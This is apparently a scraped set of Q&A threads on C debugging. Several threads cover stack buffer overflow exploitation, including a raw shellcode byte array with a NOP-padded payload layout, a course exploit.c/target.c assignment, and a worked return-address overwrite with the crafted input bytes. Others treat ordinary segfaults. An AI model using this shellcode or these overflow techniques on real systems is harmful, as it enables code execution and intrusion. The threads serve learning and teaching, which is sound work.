immunity debugger err : "access violation when reading [90909090]" - c

I'm getting this error in immunity debugger:
access violation when reading [90909090]
I want to exploit a simple c code: I give it a long input to rewrite return address, when it jumps to the new return address and starts running my shellcode, I get the error.
Here is my c code:
#include <stdio.h>
int main(int argc ,char** argv)
{
int cookie;
char buffer[300];
printf(" buffer : %08x\r\n",&buffer);
gets(buffer);
return 0;
}
and this is my shellcode:
0xbd,0xec,0xf4,0xe7,0x5a,0xdb,0xd2,0xd9,0x74,0x24,0xf4,0x58,
0x31,0xc9,0xb1,0x32,0x31,0x68,0x12,0x03,0x68,0x12,0x83,0x2c,
0xf0,0x05,0xaf,0x50,0x11,0x40,0x50,0xa8,0xe2,0x33,0xd8,0x4d,
0xd3,0x61,0xbe,0x06,0x46,0xb6,0xb4,0x4a,0x6b,0x3d,0x98,0x7e,
0xf8,0x33,0x35,0x71,0x49,0xf9,0x63,0xbc,0x4a,0xcf,0xab,0x12,
0x88,0x51,0x50,0x68,0xdd,0xb1,0x69,0xa3,0x10,0xb3,0xae,0xd9,
0xdb,0xe1,0x67,0x96,0x4e,0x16,0x03,0xea,0x52,0x17,0xc3,0x61,
0xea,0x6f,0x66,0xb5,0x9f,0xc5,0x69,0xe5,0x30,0x51,0x21,0x1d,
0x3a,0x3d,0x92,0x1c,0xef,0x5d,0xee,0x57,0x84,0x96,0x84,0x66,
0x4c,0xe7,0x65,0x59,0xb0,0xa4,0x5b,0x56,0x3d,0xb4,0x9c,0x50,
0xde,0xc3,0xd6,0xa3,0x63,0xd4,0x2c,0xde,0xbf,0x51,0xb1,0x78,
0x4b,0xc1,0x11,0x79,0x98,0x94,0xd2,0x75,0x55,0xd2,0xbd,0x99,
0x68,0x37,0xb6,0xa5,0xe1,0xb6,0x19,0x2c,0xb1,0x9c,0xbd,0x75,
0x61,0xbc,0xe4,0xd3,0xc4,0xc1,0xf7,0xbb,0xb9,0x67,0x73,0x29,
0xad,0x1e,0xde,0x27,0x30,0x92,0x64,0x0e,0x32,0xac,0x66,0x20,
0x5b,0x9d,0xed,0xaf,0x1c,0x22,0x24,0x94,0xd3,0x68,0x65,0xbc,
0x7b,0x35,0xff,0xfd,0xe1,0xc6,0xd5,0xc1,0x1f,0x45,0xdc,0xb9,
0xdb,0x55,0x95,0xbc,0xa0,0xd1,0x45,0xcc,0xb9,0xb7,0x69,0x63,
0xb9,0x9d,0x09,0xe2,0x29,0x7d,0xce
shell has 224 byte length and return address is on offset 312, so my input has this format:
shellcode+'\x90'*88+ReturnAddress

printf() statement is wrong in your code, an & nut needed:
printf(" buffer : %08x\r\n", &buffer);
^ remove
Next, you char buffer[300]; has garbage values, even if you remove &, it will cause an Undefined behavior.
Note: as David RF noticed you are using gets() that is deprecated. You should use char * fgets ( char * str, int num, FILE * stream ); function instead to avoid buffer-overflow attack.
bwt, Its first time I am reading a program in which buffer is printf before reading from user! (Why so?)

Related

How am I supposed to successfully achieve buffer overflow?

I am currently tackling on an assignment, where I need to upload exploit.c and target.c onto a ubuntu server, and successfully achieve a buffer overflow attack with exploit onto target. I was provided a shellcode. Now, target.c is not to be altered, just exploit.c. I had to use GDB on exploit.c to force an external breakpoint on foo() from target.c, to figure out the return addresses using info frame.
I was provided with the working shellcode, and minimal instructions.
I am pretty sure I was able to successfully pull the return addresses, but my issue is that I cannot figure out what code to put into exploit.c to have it successfully perform a buffer overflow attack. I was also instructed that one of the return addresses must be input into the exploit code for it to function properly.
I understand that the exploit is trying to call back to the return address, to then push itself into the buffer, so I can obtain access to the shell.
Here is exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
// replace this define environment to have the correct path of your own target code
#define TARGET "/*******************"
int main(void)
{
char *args[3];
char *env[2];
char *tmp = NULL;
// Creating an input buffer that can cause buffer overflow in strcpy function in the target.c executable code
int buffSize = 1000;
char buff[buffSize];
// Intialize buffer elements to 0x01
int i;
for (i=0; i < buffSize; i++) buff[i] = 0x01;
// write your code below to fill the 22 bytes shellcode into the buff variable, and
// at the correct location overwrite the return address correctly in order to achieve stack overflow
// Your own code starts here:
strcpy (buff[buffSize-22], shellcode);
// Your code ends here.
// prepare command line input to execute target code
args[0] = TARGET; // you must have already compiled and generated the target executable code first
args[1] = buff; // the first input parameter to the target code (artfully crafted buffer overflow string)
args[2] = NULL;
env[0] = "FOO=bar";
env[1] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
Here is the target.c code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int foo(char* arg)
{
char localBuf[240];
short len = 240;
float var1=2.4;
int *ptr = NULL;
strcpy(localBuf, arg);
printf("foo() finishes normally.\n");
return 0;
}
int kbhit(void)
{
struct timeval tv;
fd_set read_fd;
tv.tv_sec=0; tv.tv_usec=0;
FD_ZERO(&read_fd); FD_SET(0,&read_fd);
if(select(1, &read_fd, NULL, NULL, &tv) == -1)
return 0;
if(FD_ISSET(0,&read_fd))
return 1;
return 0;
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2\n");
exit(EXIT_FAILURE);
}
printf("Press any key to call foo function...\n");
while(!kbhit())
;
foo(argv[1]);
return 0;
}
I compiled both target and exploit. Then I ran GDB on exploit, and formed a breakpoint using "break target.c:10". Using Info Frame I was able to obtain the return addresses.
I used strcpy, because it is essentially the only line of code we were taught for this section involving overflow attacks, even though it clearly states in the document "Fill the shell executable code (in the string array shellcode[]) byte-by-
byte into the buff for your modified return address to execute, do not
use strcpy() because shellcode[] is not an ASCII string (and not
copying NULL byte, too)."
Exploit compiles fine, and it runs fine, but it does not give me access to a shell. I was instructed that I would know if it worked, if I was presented with two dollar signs ($$) instead of one ($).
I am a network engineer, and I am not entirely savvy with C, or attacking vulnerabilities in programs, any help would be appreciated. The entire lesson revolves around "stack overflow", but this assignment is called "buffer overflow attack".

What causes vsprintf to throw a segmentation fault?

I am writing a simple wrapper for syslog to make logging from my program a bit easier and allow dumping log entries to the console when selected. I have the following log function defined
void logDebugFunction (int lineNumber, char* filename, const char* functionName, char* format, ...)
{
if (LOG_DEBUG >= argPtr->logLevel)
{
char buffer[1000];
char *entry;
va_list args;
va_start(args, format);
vsprintf(buffer, format, args);
va_end(args);
sprintf(entry, "%s:%d - %s - %s",filename, lineNumber, functionName, buffer);
syslog(LOG_MAKEPRI(0, (LOG_DEBUG)), "%s", entry);
if (argPtr->verbose)
{
// Print to stdout too
printf( "%s", entry);
printf("\n");
}
}
}
Which is called through the following macro:
#define logDebug(format,...) logDebugFunction(__LINE__, __FILE__, __func__, format, __VA_ARGS__)
From the main function, which is as follows:
int main(int argc, char *argv[])
{
// Set up syslog connection
openlog("ARController", LOG_CONS|LOG_PID|LOG_NDELAY, LOG_DAEMON);
// Set up our global arguments
struct arguments arguments;
argPtr = &arguments;
// set default values
arguments.verbose = 0;
arguments.foreground = 0;
arguments.logLevel = LOG_WARNING;
// Send a test debug message
logDebug("Test Debug message %d %s", 5, "a string");
// Close our syslog connection
closelog();
}
Now, when I try to run the only output I get is Segmentation fault (core dumped), obviously not what I want.
I've done some investigation using gdb and the --save-temps flag to verify the following:
In main.i I can see that the logDebug call in main has been replaced with logDebugFunction(72, "src/main.c", __func__, "Test Debug message %d %s", 5, "a string"); which is what I'd expect to see here.
When running, the segfault happens at the first vsprintf line in logDebugFunction
Just before the call to vsprintf all the mandatory arguments of the function are correct:
Breakpoint 2, logDebugFunction (lineNumber=72, filename=0x401450 "src/main.c", functionName=0x4014d3 <__func__.4035> "main", format=0x401437 "Test Debug message %d %s")
The va_list entries are what I'd expect them to be as shown by the following gdb commands (found here)
(gdb) p *(int *)(((char*)args[0].reg_save_area)+args[0].gp_offset)
$5 = 5
(gdb) p *(char * *)(((char*)args[0].reg_save_area)+args[0].gp_offset+8)
$6 = 0x40142e "a string"
When I step into the vsprintf call it seems like the arguments are correct: __IO_vsprintf (string=0x7ffffffedb40 "\200V", format=0x401437 "Test Debug message %d %s", args=0x7ffffffedb28) at iovsprintf.c:32`
So as everything seems to be in order I'm a bit lost as to what the issue is and what steps I can take next.
I don't see anything wrong (ignoring that there are no sanity checks) with the way you use va_list & vsprintf, so it could be that it needs more than 1000 charcaters and buffer is simply not large enough or your passing the argumnts in the wrong way? Have you tried using vprintf for debug purposes?
But I see a definitive problem in the next lines:
char *entry;
...
sprintf(entry, "%s:%d - %s - %s",filename, lineNumber, functionName, buffer);
entry is a unitialized pointer, pointing to nowhere. If you try to read/write through that pointer, then you get an undefined behaviour. A segfault is the result of that.
With snprintf you can get the length of the expression and then with malloc dynamically allocate memory for it (fon't forget to free it afterwards). Or you can do
char entry[1024];
...
sprintf(entry, "%s:%d - %s - %s",filename, lineNumber, functionName, buffer);
assuming that no entry will be longer than 1023 characters.
EDIT request from the comment to elaborate on getting length from snprintf
Let's start with the signature of the function
#include <stdio.h>
int snprintf(char *str, size_t size, const char *format, ...);
The man page description of says:
man page printf(3)
The functions snprintf() and vsnprintf() write at most size bytes
(including the terminating null byte ('\0')) to str.
If you want to just get the length, set size to 0 and str to NULL
int msglen = snprintf(NULL, 0, fmt, exp1, exp2, exp3,...);
Bear in mind that this behaviour is conform to C99. Compiling with an older compilier or older C standard might give you unspecified return value.
there is no checks that format does match passed arguments (see __attribute__ ((format (printf);
there are no checks that pointers are not null;
there is no check that buffer is large enough to hold the given string (use functions taking buffer size such as snprintf);
sprintf(entry, uses uninitialized variable entry instead of suitable buffer causing Undefined Behavior, attempt to write at random location pointed to by entry is the most likely reason for a segfault.
In my case I encountered this when I accidentally returned in a function that was marked _Noreturn in a header (but not in function itself) when writing C11.
This mistake did not cause a compilation error, didn't emit a warning (with -Wall) and wasn't caught by neither address sanitizer (asan) or thread sanitizer (tsan), but code execution after that return was bonkers and it gave me misleading call traces.

Process returned -1 (0xFFFFFFFF)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main() {
printf("Transactional Shell Command Test.\n");
while(1) {
printf("Queue:");
char input[500];
fgets (input, 500, stdin);
if(strstr(input, "qb-write")){
printf("These are the commands you have queued:\n");
FILE *cmd = popen("cat /home/$USER/.queueBASH_transactions", "r");
char buf[256];
while (fgets(buf, sizeof(buf), cmd) != 0) {
printf("%s\n",buf);
}
pclose(cmd);
}
system(strncat("echo ",strncat(input," >> /home/$USER/.qb_transactions",500),500));
usleep(20000);
}
return 0;
}
I am attempting to make a concept for a transactional shell, and I'm having it output every command you enter into a file in the user's home directory. It's not completely finished, but I'm doing one part at a time. When I put in any input to the "shell", it crashes. Codeblocks tells me "Process returned -1 (0xFFFFFFFF)" and then the usual info about runtime. What am I doing wrong here?
strncat appends to its first argument in place, so you need to pass it a writable buffer as the first argument. You're passing a string literal ("echo "), which depending on your compiler and runtime environment may either overwrite unpredictable parts of the memory, or crash because it's trying to write to read-only memory.
char command[500];
strcpy(command, "echo ");
strncat(command, input, sizeof(command)-1-strlen(command));
strncat(command, " >> /home/$USER/.qb_transactions", sizeof(command)-1-strlen(command));
system(command);
As with the rest of your code, I've omitted error checking, so the command will be truncated if it doesn't fit the buffer. Also note that repeated calls to strncat are inefficient since they involve traversing the string many times to determine its end; it would be more efficient to use the return value and keep track of the remaining buffer size, but I'm leaving this as a follow-up exercise.
Of course invoking a shell to append to a file is a bad idea in the first place. If the input contains shell special characters, they'll be evaluated. You should open the log file and write to it directly.
char log_file[PATH_MAX];
strcpy(log_file, getenv("HOME"));
strncat(log_file, "/.qb_transactions", PATH_MAX-1-strlen(log_file));
FILE *log_file = fopen(log_file, "a");
…
while (1) {
…
fputs(cmd, log_file);
}
fclose(log_file);
(Once again, error checking omitted.)

Forcing a program to call a function in C with an input string

So I'm doing an exercise where I want to call the function void not_called() just by inputting a buffer. Basically what I want to do is use a buffer overflow to call not_called(). I'm approaching this by using a binary exploit string then using a program hex2raw (takes hex format then turns it into the ASCII for decimal digit.) I'm then going to put that binary exploit string into a .txt file, then use a series of pipes in the unix terminal to call not_called() like so:
cat exploit.txt | ./hex2raw | ./nameofpgrm
So what I'm struggling with is finding that binary exploit string. I think what I need to do is find the location in memory where not_called is called with an objdump, but I'm not sure. Any help on what I can do? I know I'm going to have to use gdb to find it. I just don't really know where to look.
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
You want to overwrite the return address from the function echo with bytes read from stdin so that is now points to not_called entry point.
Let's use for example Mac OS/X 10.10 aka Yosemite. I simplified the code and added an extra printf to get the actual address of the function not_called:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
Let's compile and execute this code using clang:
chqrlie> clang t20.c && ./a.out
The output is quite clear:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
Using a hex editor, let's coin the input and paste it to the console: the short buffer buf aligned on 64 bits, 8 bytes below the saved copy of the stack frame pointer rbp, itself followed by the return address we want to overwrite. The input in hex is for example:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
Let's paste these 24 bytes to the console and hit enter:
0123456789012345P��^F^A^#^#^#
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
Function echo uses gets to read stdin, the 24 bytes are stored beyond the end of buf, overwriting the frame pointer rbp, the return address, and an extra 0 byte. echo then calls puts to output the string in buf. Output stops at the first "'\0'" as expected. rbp is then restored from the stack and gets a corrupt value, control is transferred to the return address. The return address was overwritten with that of function not_called, so that's what gets executed next. Indeed we see the message from function not_called and for some reason exit crashes instead of exiting the process gracefully.
I used gets on purpose so readers understand how easy it to cause buffer overflows with this function. No matter how big the buffer, input can be coined to crash the program or make it do interesting things.
Another interesting find is how Mac OS/X tries to prevent attackers from using this trick too easily: the address printed by the program varies from one execution to the next:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
The code is loaded at a different address each time, chosen randomly.
The input required to make function echo return to not_called is different each time. Try your own OS and check if it uses this trick. Try coining the appropriate input to get the job done (it depends on your compiler and your system). Have fun!

fopen() causing segfault before it's called

I am having a very weird error, I would try to run valgrind, but I am on OS X Yosemite, so this is not possible. I am getting a segfault with an fopen, it seems before the fopen is ever even called. I have a function called format:
void format(uint16_t sector_size, uint16_t cluster_size, uint16_t disk_size)
{
FILE *fp;
fp=fopen(diskName, "wb");
if(fp != NULL)
{
printf("Disk successfully initialized at: %s",diskName);
}
else
{
printf("There was an error creating the disk.");
return;
}
for(int i=0;i<disk_size;i++)
{
fwrite(0, sizeof(sector_size), cluster_size, fp);
}
}
Diskname is declared globally at the top of the file:
char diskName[32];
Here is my main:
int main(int argc, char *argv[]) {
strcpy(diskName, "test.bin");
printf("%s",diskName);
format(128, 8, 1000);
}
The weird part is that, this code segfaults before it ever prints the diskname:
Run Command: line 1: 16016 Segmentation fault: 11
I have no idea how this is possible, and I've tried a wide-array of solutions, but it all boils down to an error with fopen. When fopen is commented out the code runs. Any idea why this would happen?
printf will buffer its output until you flush the output. This can be done by either printing a newline, or flushing the output using fflush(stdout).
In any case, your error is here:
fwrite(0, sizeof(sector_size), cluster_size, fp);
You may not see your program crash when you comment out the fopen call because the fwrite call will fail earlier. fwrite's signature expects a pointer to the data to write as the first argument, where you have provided zero. This will cause fwrite to attempt to dereference a NULL pointer and thus crash.
You can either allocate a buffer, set it all to zero, then write that to the file using fwrite, e.g.
char* buf = calloc(cluster_size, sector_size); // Remember, calloc initialises all elements to zero!
fwrite(buf, sector_size, cluster_size, fp);
Or just call fputc in a loop
for(int i = 0; i < sector_size * cluster_size; i++)
fputc(0, fp);
Also, sizeof(sector_size) will always return 2 in your example, as you're taking the size of the type. Are you sure this is correct?

Resources